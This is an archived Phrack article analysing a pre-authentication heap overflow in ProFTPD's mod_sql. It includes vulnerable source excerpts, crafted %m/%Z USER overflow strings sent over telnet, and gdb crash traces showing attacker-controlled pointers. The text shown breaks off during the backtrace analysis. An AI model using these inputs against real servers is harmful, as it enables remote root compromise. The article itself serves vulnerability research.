💾 Archived View for aphrack.org › issues › phrack67 › 7.gmi captured on 2022-03-01 at 15:57:10. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x07 of 0x10 |=-----------------------------------------------------------------------=| |=------=[ ProFTPD with mod_sql pre-authentication, remote root ]=------=| |=-------------------------=[ heap overflow ]=---------------------------=| |=-----------------------------------------------------------------------=| |=-------------------=[ max_packetz@felinemenace.org ]=------------------=| |=-----------------------------------------------------------------------=| --[ Contents 1 - Introduction 2 - The vulnerability 2.1 - Tags explained 2.2 - Generating overflow strings 3 - Exploring what we can control 3.1 - Automating tasks 3.2 - ProFTPD Pool allocator 3.3 - Examining backtraces 3.3.1 - 11380f2c8ce44d29b93b9bc6308692ae backtrace 3.3.2 - 2813d637d735be610a460a75db061f6b backtrace 3.3.3 - 3d10e2a054d8124ab4de5b588c592830 backtrace 3.3.4 - 844319188798d7742af43d10f6541a61 backtrace 3.3.5 - 914b175392625fe75c2b16dc18bfb250 backtrace 3.3.6 - b975726b4537662f3f5ddf377ea26c20 backtrace 3.3.7 - ccbbd918ad0dbc7a869184dc2eb9cc50 backtrace 3.3.8 - f1bfd5428c97b9d68a4beb6fb8286b70 backtrace 3.3.9 - Summary 3.4 - Exploitation avenues 3.4.1 - Shellcode approach 3.4.2 - Data manipulation 4 - Writing an exploit 4.1 - Exploitation via arbitrary pointer return 4.2 - Cleanup structure crash 4.3 - Potential enhancements 4.4 - Last thoughts 5 - Discussion of hardening techniques against exploitation 5.1 - Address Space Layout Randomisation 5.2 - Non-executable Memory 5.3 - Position Independent Binaries 5.4 - Stack Protector 5.5 - RelRO 6 - References --[ 1 - Introduction This paper describes and explores a pre-authentication remote root heap overflow in the ProFTPD [1] FTP server. It's not quite a standard overflow, due to the how the ProFTPD heap works, and how the bug is exploited via variable substition. The vulnerability was inadvertently mitigated (from remote root, at least :( ) when the ProFTPD developers fixed a separate vulnerability in mod_sql where you could inject SQL and bypass authentication. That vulnerability that mitigated it is documented in CVE-2009-0542. The specific vulnerability we are exploring is an unbounded copy operation in sql_prepare_where(), which has not been fixed yet. Also, I'd like to preemptively apologise for the attached code. It evolved over time in piecemeal fashion, and isn't overly pretty/readable by now :p --[ 2 - The vulnerability The vulnerability itself is a little contrived, but bare with me: In contrib/mod_sql.c, _sql_getpasswd(), we have the following code (line numbers from ProFTPD 1.3.2rc2): --- 1132 if (!cmap.usercustom) { 1133 where = sql_prepare_where(0, cmd, 2, usrwhere, cmap.userwhere, NULL); 1134 1135 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 5, "default", 1136 cmap.usrtable, cmap.usrfields, where, "1"), "sql_select"); 1137 --- Where usrwhere is in the form of: (<table name for user column> = 'USERNAME') Inside of sql_prepare_where() is where all the fun takes place: --- 770 static char *sql_prepare_where(int flags, cmd_rec *cmd, int cnt, ...) { 771 int i, flag, nclauses = 0; 772 int curr_avail; 773 char *buf = "", *res; 774 va_list dummy; 775 776 res = pcalloc(cmd->tmp_pool, SQL_MAX_STMT_LEN); [1] 777 778 flag = 0; 779 va_start(dummy, cnt); 780 for (i = 0; i < cnt; i++) { 781 char *clause = va_arg(dummy, char *); 782 if (clause != NULL && 783 *clause != '\0') { 784 nclauses++; 785 786 if (flag++) 787 buf = pstrcat(cmd->tmp_pool, buf, " AND ", NULL); 788 buf = pstrcat(cmd->tmp_pool, buf, "(", clause, ")", NULL); 789 } 790 } 791 va_end(dummy); 792 793 if (nclauses == 0) 794 return NULL; 795 796 if (!(flags & SQL_PREPARE_WHERE_FL_NO_TAGS)) { [2] 797 char *curr, *tmp; 798 799 /* Process variables in WHERE clauses, except any "%{num}" references. */ 800 curr = res; 801 curr_avail = SQL_MAX_STMT_LEN; 802 803 for (tmp = buf; *tmp; ) { 804 char *str; 805 modret_t *mr; 806 807 if (*tmp == '%') { 808 char *tag = NULL; 809 810 if (*(++tmp) == '{') { 811 char *query; 812 813 if (*tmp != '\0') 814 query = ++tmp; 815 816 while (*tmp && *tmp != '}') 817 tmp++; 818 819 tag = pstrndup(cmd->tmp_pool, query, (tmp - query)); 820 if (tag) { 821 str = resolve_long_tag(cmd, tag); [3] 822 if (!str) 823 str = pstrdup(cmd->tmp_pool, ""); 824 825 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 2, "default", 826 str), "sql_escapestring"); 827 if (check_response(mr) < 0) 828 return NULL; 829 830 sstrcat(curr, mr->data, curr_avail); 831 curr += strlen(mr->data); 832 curr_avail -= strlen(mr->data); 833 834 if (*tmp != '\0') 835 tmp++; 836 837 } else { 838 return NULL; 839 } 840 841 } else { 842 str = resolve_short_tag(cmd, *tmp); [4] 843 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 2,"default", 844 str), "sql_escapestring"); 845 if (check_response(mr) < 0) 846 return NULL; 847 848 sstrcat(curr, mr->data, curr_avail); 849 curr += strlen(mr->data); 850 curr_avail -= strlen(mr->data); 851 852 if (*tmp != '\0') 853 tmp++; 854 } 855 856 } else { [5] 857 *curr++ = *tmp++; 858 curr_avail--; 859 } 860 } 861 *curr++ = '\0'; 862 863 } else { 864 res = buf; 865 } 866 867 return res; 868 } 869 --- At [1], memory is allocated. SQL_MAX_STMT_LEN is defined as 4096 bytes. That should be plenty for <300 bytes, right? At [2], flags are checked to see if "tags" should be expanded. In the case we are interested in, tags are expanded. At [3], we see that "long tags" are expandable, and that they are surrounded by %{ and finished with }. We'll ignore them for now. They take up too much input space in regards to the output length. At [4], we see that they have concepts of "short" tags, consisting of one byte. At [5], we see that they have an unbounded one byte copy operation, inside of a suitable loop. Now, we need to cover tags to see what we can do with it: ------[ 2.1 Tags explained For the path we're interested in, we'll cover "short" tags (longer tags are not all interesting, and for reasons explained later on). Looking at resolve_short_tag(), we see the following (heavily snipped for brevity): --- 1719 static char *resolve_short_tag(cmd_rec *cmd, char tag) { 1720 char arg[256] = {'\0'}, *argp; 1721 1722 switch (tag) { 1723 case 'A': { 1724 char *pass; 1725 1726 argp = arg; 1727 pass = get_param_ptr(main_server->conf, C_PASS, FALSE); 1728 if (!pass) 1729 pass = "UNKNOWN"; 1730 1731 sstrncpy(argp, pass, sizeof(arg)); 1732 } 1733 break; 1734 1735 case 'a': 1736 argp = arg; 1737 sstrncpy(argp, pr_netaddr_get_ipstr(pr_netaddr_get_sess_remote_addr()), 1738 sizeof(arg)); 1739 break; 1740 ... 1914 case 'm': 1915 argp = arg; 1916 sstrncpy(argp, cmd->argv[0], sizeof(arg)); 1917 break; 1918 ... 1929 case 'r': 1930 argp = arg; 1931 if (strcmp(cmd->argv[0], C_PASS) == 0 && 1932 session.hide_password) 1933 sstrncpy(argp, C_PASS " (hidden)", sizeof(arg)); 1934 1935 else 1936 sstrncpy(argp, get_full_cmd(cmd), sizeof(arg)); 1937 break; 1938 ... 1954 case 'T': 1955 argp = arg; 1956 if (session.xfer.p) { ... 1974 } else 1975 sstrncpy(argp, "0.0", sizeof(arg)); 1976 1977 break; ... 2021 2022 default: 2023 argp = "{UNKNOWN TAG}"; 2024 break; 2025 } 2026 2027 return pstrdup(cmd->tmp_pool, argp); 2028 } 2029 --- So, as you can see, tags are a form of variable substitution. %m and %r allow us to "duplicate" our input, %a allows us to copy our IP address, %T gives us 0.0 (since we're not transferring anything at the moment, and %Z (handled by the default case) gives us "{UNKNOWN TAG}". By combining these, we can generate strings that expand past the allocated size in sql_prepare_where, due to the unbounded copy. Firstly, we'll look at what those inputs would generate, then we'll look at how to generate suitable overflow strings. Firstly, the string "AAA%m" once processed would come out looking like: AAAAAA%m The string "AAA%m%m" would look like: AAAAAA%mAAA%m Unfortunately the string to be expanded isn't as clean as that, it's: (<name of user entry in table> = 'USER INPUT')\x00 The default of the table field is "userid". Due to the ')\x00 at the end, we can't do arbitrary off-by-1 or 2 overwrites. It's possible that \x00 or \x29 could be useful, in some situations however. Enough chars / %m's etc would expand past 4096 bytes, and start overwriting other information stored on the heap. Tags enable exploitation of this issue via it's input duplication. They also have a significant effect on the heap, for better or worse. (As a side note, contrib/mod_rewrite.c has %m tag support as well. Since it seems a little unlikely to hit that pre-auth, it wasn't investigated further..) ------[ 2.2 Generating overflow strings One initial complication we had in exploring this vulnerability further was due to making an overflow string that once processed would expand to a suitable size. (As an example, overflow our own arbitrary content 32 bytes past 4096). We solved this problem with using a constraint solver to generate the appropriate strings for us, thus solving an otherwise annoying situation (it being a little messy to calculate how much we need, since touching one thing can dramatically throw off the rest of the calculations, as an example, removing one A character would reduce it by one + (one * amount_of_%m_tags)). In exploring the vulnerability, we used python-constraint [2]. We used several constraints: - Input string must be less than 256 bytes. - The parsed string must overflow by exactly X+2 (due to ') added to the end bytes. - One/two others that I've forgotten about as I write this up. We split the strings into "fakeauth" strings, and "trigger" strings. The fakeauth strings are designed to consume/allocate a certain amount of memory, and the trigger strings are designed to overwrite a bunch of bytes after the allocation. Fakeauth strings seem to be required for maximum control of the remote process, but it's possible it's not required at all. By mixing the %m's / %a's / %Z's up, it is possible to change memory allocation / deallocation order, and thus explore/affect where it crashes. While the %a tags are useful in experimenting, they are not ideal, as you then need to take your local IP address into account when exploiting remote hosts. --[ 3 - Exploring what we can control ------[ 3.1 - Automating tasks I'm a big fan of automating as much stuff as possible. In order to get a ten thousand foot view of what I can do, I used python-ptrace [3] and pyevolve [4] to: - Generate input strings - Debug proftpd and record before/after overwriting the memory allocated in sql_prepare_where - Analyze how "interesting" the results of input strings where. - Process exited? Completely uninteresting. - SEGV'd? - Gather backtraces / register contents / see if the program crashed with our directly controllable user input / etc. Pyevolve, for the most part, was useful for mutating the input strings to explore the code paths leading to crashes.. By doing these tasks, I was able to find the more interesting paths that could easily be hit, while I was flicking over the ProFTPD pool allocator ... ------[ 3.2 - ProFTPD Pool allocator A high level overview for the ProFTPD pool allocator (src/pool.c) is given at [5], but here are the quick nuts and bolts of it: - Pools are allocated, and is subdivided into blocks. - Pools have cleanup handlers (very useful - used in proftpd-not-pro-enough [6] exploit by solar to gain code execution). - More blocks are malloc()'d if the pool is out of space. - Memory is never free()'d unless developer mode is enabled, and that's only at daemon shut down. - In order to allocate memory, the single linked list of free blocks is checked to see if the allocation request can be satisfied first without calling malloc(). The pool structure is defined as: --- 196 struct pool { 197 union block_hdr *first; 198 union block_hdr *last; 199 struct cleanup *cleanups; 200 struct pool *sub_pools; 201 struct pool *sub_next; 202 struct pool *sub_prev; 203 struct pool *parent; 204 char *free_first_avail; 205 const char *tag; 206 }; --- The cleanup structure looks like: --- 655 typedef struct cleanup { 656 void *data; 657 void (*plain_cleanup_cb)(void *); 658 void (*child_cleanup_cb)(void *); 659 struct cleanup *next; 660 } cleanup_t; --- Overwriting a cleanup structure, or a pool structure, would allow us to arbitrarily execute code when the pool is cleared/destroyed. The block structure is defined as: --- 46 union block_hdr { 47 union align a; 48 49 /* Padding */ 50 #if defined(_LP64) || defined(__LP64__) 51 char pad[32]; 52 #endif 53 54 /* Actual header */ 55 struct { 56 char *endp; 57 union block_hdr *next; 58 char *first_avail; 59 } h; 60 }; --- Now, we trace pcalloc() as it's called in sql_prepare_where() (and numerously throughout the ProFTPD code), just to see what situations will allow us to return pointers that we control. Controlling these returned pointers would allow us to overwrite arbitrary memory, hopefully with content that we can control. --- 481 void *pcalloc(struct pool *p, int sz) { 482 void *res = palloc(p, sz); 483 memset(res, '\0', sz); 484 return res; 485 } --- gives us: --- 473 void *palloc(struct pool *p, int sz) { 474 return alloc_pool(p, sz, FALSE); 475 } --- which in turn gives us: --- 435 static void *alloc_pool(struct pool *p, int reqsz, int exact) { 436 437 /* Round up requested size to an even number of aligned units */ 438 int nclicks = 1 + ((reqsz - 1) / CLICK_SZ); 439 int sz = nclicks * CLICK_SZ; 440 441 /* For performance, see if space is available in the most recently 442 * allocated block. 443 */ 444 445 union block_hdr *blok = p->last; 446 char *first_avail = blok->h.first_avail; 447 char *new_first_avail; 448 449 if (reqsz <= 0) 450 return NULL; 451 452 new_first_avail = first_avail + sz; 453 454 if (new_first_avail <= blok->h.endp) { [1] 455 blok->h.first_avail = new_first_avail; 456 return (void *) first_avail; 457 } 458 459 /* Need a new one that's big enough */ 460 pr_alarms_block(); 461 462 blok = new_block(sz, exact); [2] 463 p->last->h.next = blok; 464 p->last = blok; 465 466 first_avail = blok->h.first_avail; [3] 467 blok->h.first_avail += sz; 468 469 pr_alarms_unblock(); 470 return (void *) first_avail; 471 } --- The check at [1] checks to see if the request can be satisfied from the pool allocation itself.. The call at [2] requests a "new_block" of memory. The returned pointer is determined at [3], indicating that the first_avail pointer at least needs to be modified. --- 151 /* Get a new block, from the free list if possible, otherwise malloc a new 152 * one. minsz is the requested size of the block to be allocated. 153 * If exact is TRUE, then minsz is the exact size of the allocated block; 154 * otherwise, the allocated size will be rounded up from minsz to the nearest 155 * multiple of BLOCK_MINFREE. 156 * 157 * Important: BLOCK ALARMS BEFORE CALLING 158 */ 159 160 static union block_hdr *new_block(int minsz, int exact) { 161 union block_hdr **lastptr = &block_freelist; 162 union block_hdr *blok = block_freelist; 163 164 if (!exact) { 165 minsz = 1 + ((minsz - 1) / BLOCK_MINFREE); 166 minsz *= BLOCK_MINFREE; 167 } 168 169 /* Check if we have anything of the requested size on our free list first... 170 */ 171 while (blok) { 172 if (minsz <= blok->h.endp - blok->h.first_avail) { 173 *lastptr = blok->h.next; 174 blok->h.next = NULL; 175 176 stat_freehit++; 177 return blok; 178 179 } else { 180 lastptr = &blok->h.next; 181 blok = blok->h.next; 182 } 183 } 184 185 /* Nope...damn. Have to malloc() a new one. */ 186 stat_malloc++; 187 return malloc_block(minsz); 188 } --- BLOCK_MINFREE is defined to PR_TUNABLE_NEW_POOL_SIZE, which is defined to 512 bytes. So, we can see that if we can get the stars to align correctly, we can gain code execution via: - Pool cleanup/destruction - Corrupting the first_avail pointer in a block. The second method is a little more effort, but it may not be possible to hit the first. There are other avenues potentially available such as unlink() style corruption, or other heap content overwrites, but they were not explored in depth. ------[ 3.3 - Examining backtraces After leaving the proftpd input fuzzing / automated crash analysis code [7] running for a while, I decided to stop it and examine some of the backtraces it created, in order to see what was found, and if any indicated that they where able to gain direct code execution, or useful memory corruption. # echo backtraces: `ls -l backtrace.* | wc -l` ; echo unique backtraces: `md5su m backtrace.* | awk '{ print $1 }' | sort | uniq` backtraces: 4280 unique backtraces: 11380f2c8ce44d29b93b9bc6308692ae 2813d637d735be610a460a75db061f6b 3d10e2a054d8124ab4de5b588c592830 844319188798d7742af43d10f6541a61 914b175392625fe75c2b16dc18bfb250 b975726b4537662f3f5ddf377ea26c20 ccbbd918ad0dbc7a869184dc2eb9cc50 f1bfd5428c97b9d68a4beb6fb8286b70 Some of these back traces are very similiar, only real change in where they are called from. However, seeing that the code can be reached from multiple places is good; as it gives us more chances to take control of the remote process. Flicking through the backtraces: --------[ 3.3.1 - 11380f2c8ce44d29b93b9bc6308692ae backtrace ] # cat bt_frames.99861.0 EIP: 0xb7b7e67a, EBP: 0xbfd0a0a8, memset EIP: 0x08055034, EBP: 0xbfd0a0d8, pstrcat EIP: 0x080c0d85, EBP: 0xbfd0a118, cmd_select EIP: 0x080c26f2, EBP: 0xbfd0a148, _sql_dispatch EIP: 0x080c4354, EBP: 0xbfd0a1f8, _sql_getpasswd EIP: 0x080c514d, EBP: 0xbfd0a2d8, _sql_getgroups EIP: 0x080ca70e, EBP: 0xbfd0a308, cmd_getgroups EIP: 0x080718a6, EBP: 0xbfd0a328, call_module EIP: 0x0807339e, EBP: 0xbfd0a358, dispatch_auth EIP: 0x0807481d, EBP: 0xbfd0a408, pr_auth_getgroups EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.99861.0 EAX: 0x00000000 EBX: 0x0882d654 ECX: 0x0000103c EDX: 0x00000001 ESI: 0x080d4960 EDI: 0x41346141 EBP: 0xbfd0a0a8 ESP: 0xbfd0a078 EIP: 0xb7b7e67a So far, we can see we are memset()'ing a controllable pointer :D Looking further at _sql_getpasswd in the backtrace: (gdb) l *0x080c4354 0x80c4354 is in _sql_getpasswd (mod_sql.c:1252). 1247 } 1248 1249 if (!cmap.usercustom) { 1250 where = sql_prepare_where(0, cmd, 2, usrwhere, cmap.userwhere, NULL); 1251 1252 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 5, "default", 1253 cmap.usrtable, cmap.usrfields, where, "1"), "sql_select"); 1254 1255 if (check_response(mr) < 0) 1256 return NULL; (gdb) l *0x080c0d85 0x80c0d85 is in cmd_select (mod_sql_mysql.c:812). 807 } else { 808 query = pstrcat(cmd->tmp_pool, cmd->argv[2], " FROM ", cmd->argv[1], NULL); 809 810 if (cmd->argc > 3 && 811 cmd->argv[3]) 812 query = pstrcat(cmd->tmp_pool, query, " WHERE ", cmd->argv[3], NULL); 813 814 if (cmd->argc > 4 && 815 cmd->argv[4]) 816 query = pstrcat(cmd->tmp_pool, query, " LIMIT ", cmd->argv[4], NULL); This backtrace is interesting, as it's appending contents we directly control to the chunk. Playing further: # telnet 127.0.0.1 21 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. 220 ProFTPD 1.3.1 Server (ProFTPD Default Installation) [127.0.0.1] USER A%m%m%mA%m%Z%Z%m%m%m%m%Z%mA%m%m%m%mA%m%m%m%m%m%m%m%mA%mA%m%Z%Z%mAA%m%m %ZA%m%m%m%ZA%m%m%m%Z%m%m%Z%m 331 Password required for A%m%m%mA%m%Z%Z%m%m%m%m%Z%mA%m%m%m%mA%m%m%m%m%m%m% m%mA%mA%m%Z%Z%mAA%m%m%ZA%m%m%m%ZA%m%m%m%Z%m%m%Z%m USER AAAAAAAAAA%m%m%mA%m%m%mA%m%mAA%m%m%m%m%mA%m%Z%m%mA%m%mAA%mA%ZAA%m%m%m% m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9 Ac0A ... Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7c7a6b0 (LWP 19840)] 0xb7cf467a in memset () from /lib/tls/i686/cmov/libc.so.6 (gdb) bt #0 0xb7cf467a in memset () from /lib/tls/i686/cmov/libc.so.6 #1 0x08054d1a in pcalloc (p=0x98a84c4, sz=4156) at pool.c:481 #2 0x08055034 in pstrcat (p=0x98a84c4) at pool.c:580 #3 0x080c0d85 in cmd_select (cmd=0x98a84ec) at mod_sql_mysql.c:812 #4 0x080c26f2 in _sql_dispatch (cmd=0x98a84ec, cmdname=0x80e4a3d "sql_select") at mod_sql.c:393 #5 0x080c4354 in _sql_getpasswd (cmd=0x98a1ad4, p=0xbfa8368c) at mod_sql.c:1252 #6 0x080c514d in _sql_getgroups (cmd=0x98a1ad4) at mod_sql.c:1599 #7 0x080ca70e in cmd_getgroups (cmd=0x98a1ad4) at mod_sql.c:3612 #8 0x080718a6 in call_module (m=0x80ee940, func=0x80ca6bd <cmd_getgroups>, cmd=0x98a1ad4) at modules.c:439 #9 0x0807339e in dispatch_auth (cmd=0x98a1ad4, match=0x80d9685 "getgroups", m=0x0) at auth.c:89 #10 0x0807481d in pr_auth_getgroups (p=0x98a1a04, name=0x9852eec "AAAAAAAAAA%m%m%mA%m%m%mA%m%mAA%m%m%m%m%mA%m%Z%m%mA%m%mA A%mA%ZAA%m%m%m%m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab 3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A", group_ids=0x80fb0bc, group_names=0x80fb0c0) at auth.c:691 #11 0x08074a98 in auth_anonymous_group (p=0x98a1a04, user=0x9852eec "AAAAAAAAAA%m%m%mA%m%m%mA%m%mAA%m%m%m%m%mA%m%Z%m%mA%m%mA A%mA%ZAA%m%m%m%m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab 3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A") at auth.c:751 #12 0x08074ea7 in pr_auth_get_anon_config (p=0x98a1a04, login_name=0xbfa838f8, user_name=0x0, anon_name=0x0) at auth.c:864 #13 0x080a4b5c in auth_user (cmd=0x9852e94) at mod_auth.c:1831 #14 0x080718a6 in call_module (m=0x80ec9e0, func=0x80a4a10 <auth_user>, cmd=0x9852e94) at modules.c:439 #15 0x0804c651 in _dispatch (cmd=0x9852e94, cmd_type=2, validate=1, match=0x9852ee4 "USER") at main.c:424 #16 0x0804caba in pr_cmd_dispatch (cmd=0x9852e94) at main.c:523 #17 0x0804d4ee in cmd_loop (server=0x9853af4, c=0x988abdc) at main.c:750 #18 0x0804ea36 in fork_server (fd=1, l=0x988a7bc, nofork=0 '\0') at main.c:1257 #19 0x0804f1cf in daemon_loop () at main.c:1464 #20 0x080522c6 in standalone_main () at main.c:2294 #21 0x08053109 in main (argc=4, argv=0xbfa84374, envp=0xbfa84388) at main.c:2878 (gdb) i r eax 0x0 0 ecx 0x103c 4156 edx 0x1 1 ebx 0x98a2444 160048196 esp 0xbfa834a8 0xbfa834a8 ebp 0xbfa834d8 0xbfa834d8 esi 0x80d4960 135088480 edi 0x41346141 1093951809 ... # ruby pattern_offset.rb 0x41346141 12 ... (gdb) frame 2 #2 0x08055034 in pstrcat (p=0x98a84c4) at pool.c:580 580 res = (char *) pcalloc(p, len + 1); (gdb) info locals argp = 0x0 res = 0x0 len = 4155 dummy = 0xbfa83524 ... (gdb) x/32x $esp 0xbfa834e0: 0x098a84c4 0x0000103c 0x00000000 0x00000000 0xbfa834f0: 0x00000000 0x0988b62c 0xbfa83524 0x0000103b 0xbfa83500: 0x00000000 0x00000000 0xbfa83548 0x080c0d85 0xbfa83510: 0x098a84c4 0x098a854c 0x080e40e5 0x098aa7d4 0xbfa83520: 0x00000000 0x080ef060 0x00000000 0x00000000 0xbfa83530: 0x00000000 0x098a854c 0x00000000 0x098a8534 0xbfa83540: 0x0988b62c 0x0988b68c 0xbfa83578 0x080c26f2 0xbfa83550: 0x098a84ec 0x080e441a 0x098aa7d4 0x098a3874 (gdb) x/s 0x098a854c 0x98a854c: "userid, passwd, uid, gid, homedir, shell FROM ftpuser" (gdb) x/s 0x080e40e5 0x80e40e5: " WHERE " (gdb) x/s 0x098aa7d4 0x98aa7d4: "(userid='", 'A' <repeats 20 times>, "%m%m%mA%m%m%mA%m%mAA %m%m%m%m%mA%m%Z%m%mA%m%mAA%mA%ZAA%m%m%m%m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa 6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0", 'A' <repeats 11 times>, "%m%m%mA%m%m%mA%m%mAA%m"... This crash is excellent, but it has several drawbacks: - No direct control of EIP, thus requiring overwriting larger chunks of memory which may be problematic. - Configuration dependent :( - Both SQLUserInfo and SQLGroupInfo specify table names and table entries. For example: - SQLUserInfo ftpuser userid passwd uid gid homedir shell - SQLGroupInfo ftpgroup groupname gid members - We could collect common configurations recommended in guides so that we can take them into account when bruteforcing.. sucky though. Let's see what the others contain before getting too excited :) ------[ 3.3.2 - 2813d637d735be610a460a75db061f6b backtrace ] # cat bt_frames.16259.0 EIP: 0x08054b7d, EBP: 0xbfd0a1d8, destroy_pool EIP: 0x08054b0c, EBP: 0xbfd0a1e8, clear_pool EIP: 0x08054bd1, EBP: 0xbfd0a1f8, destroy_pool EIP: 0x0807389f, EBP: 0xbfd0a248, pr_auth_getpwnam EIP: 0x080a0e3a, EBP: 0xbfd0a488, setup_env EIP: 0x080a51ca, EBP: 0xbfd0a4d8, auth_pass EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.16259.0 EAX: 0x62413362 EBX: 0x0000b25d ECX: 0x00000002 EDX: 0x0882f8e8 ESI: 0x080d4960 EDI: 0x088161e8 EBP: 0xbfd0a1d8 ESP: 0xbfd0a1d0 EIP: 0x08054b7d EAX looks like a modified pointer, and we can see we're in the destroy_pool / clean_pool code. No arbitrary EIP yet :~( (gdb) l *0x08054b7d 0x8054b7d is in destroy_pool (pool.c:415). 410 return; 411 412 pr_alarms_block(); 413 414 if (p->parent) { 415 if (p->parent->sub_pools == p) 416 p->parent->sub_pools = p->sub_next; 417 418 if (p->sub_prev) 419 p->sub_prev->sub_next = p->sub_next; (gdb) l * 0x08054b0c 0x8054b0c is in clear_pool (pool.c:395). 390 /* Run through any cleanups. */ 391 run_cleanups(p->cleanups); 392 p->cleanups = NULL; 393 394 /* Destroy subpools. */ 395 while (p->sub_pools) 396 destroy_pool(p->sub_pools); 397 p->sub_pools = NULL; 398 399 free_blocks(p->first->h.next); So, we can see that we've corrupted the p->parent->sub_pools pointer. Not immediately interesting, as we've isolated what appears to be very interesting earlier on. Might be able to do some fun and games at some point with the old unlink() style, though. ------[ 3.3.3 - 3d10e2a054d8124ab4de5b588c592830 backtrace ] # cat bt_frames.99758.0 EIP: 0x08054b7d, EBP: 0xbfd0a338, destroy_pool EIP: 0x08054b0c, EBP: 0xbfd0a348, clear_pool EIP: 0x08054bd1, EBP: 0xbfd0a358, destroy_pool EIP: 0x08074a37, EBP: 0xbfd0a408, pr_auth_getgroups EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.99758.0 EAX: 0x62413362 EBX: 0x0882d4ac ECX: 0x00000002 EDX: 0x088356c8 ESI: 0x080d4960 EDI: 0x088161e8 EBP: 0xbfd0a338 ESP: 0xbfd0a330 EIP: 0x08054b7d Unfortunately, EIP is the same as the 2813d637d735be610a460a75db061f6b backtrace, except it dies with pr_auth_getgroups in the backtrace, rather than pr_auth_getpwnam. ------[ 3.3.4 - 844319188798d7742af43d10f6541a61 backtrace ] # cat bt_frames.103331.0 EIP: 0x08054b7d, EBP: 0xbfd0a368, destroy_pool EIP: 0x08054b0c, EBP: 0xbfd0a378, clear_pool EIP: 0x08054bd1, EBP: 0xbfd0a388, destroy_pool EIP: 0x08074a37, EBP: 0xbfd0a438, pr_auth_getgroups EIP: 0x08074a98, EBP: 0xbfd0a468, auth_anonymous_group EIP: 0x08074ea7, EBP: 0xbfd0a4a8, pr_auth_get_anon_config EIP: 0x080c5691, EBP: 0xbfd0a4d8, sql_pre_pass EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch EIP: 0x0804c9bb, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.103331.0 EAX: 0x62413362 EBX: 0x0000a2f3 ECX: 0x00000002 EDX: 0x0882f2b8 ESI: 0x080d4960 EDI: 0x088161e8 EBP: 0xbfd0a368 ESP: 0xbfd0a360 EIP: 0x08054b7d Not that interesting, unfortunately. ------[ 3.3.5 - 914b175392625fe75c2b16dc18bfb250 backtrace ] # cat bt_frames.98014.0 EIP: 0x080544e0, EBP: 0xbfd0a368, free_blocks EIP: 0x08054b30, EBP: 0xbfd0a378, clear_pool EIP: 0x08054bd1, EBP: 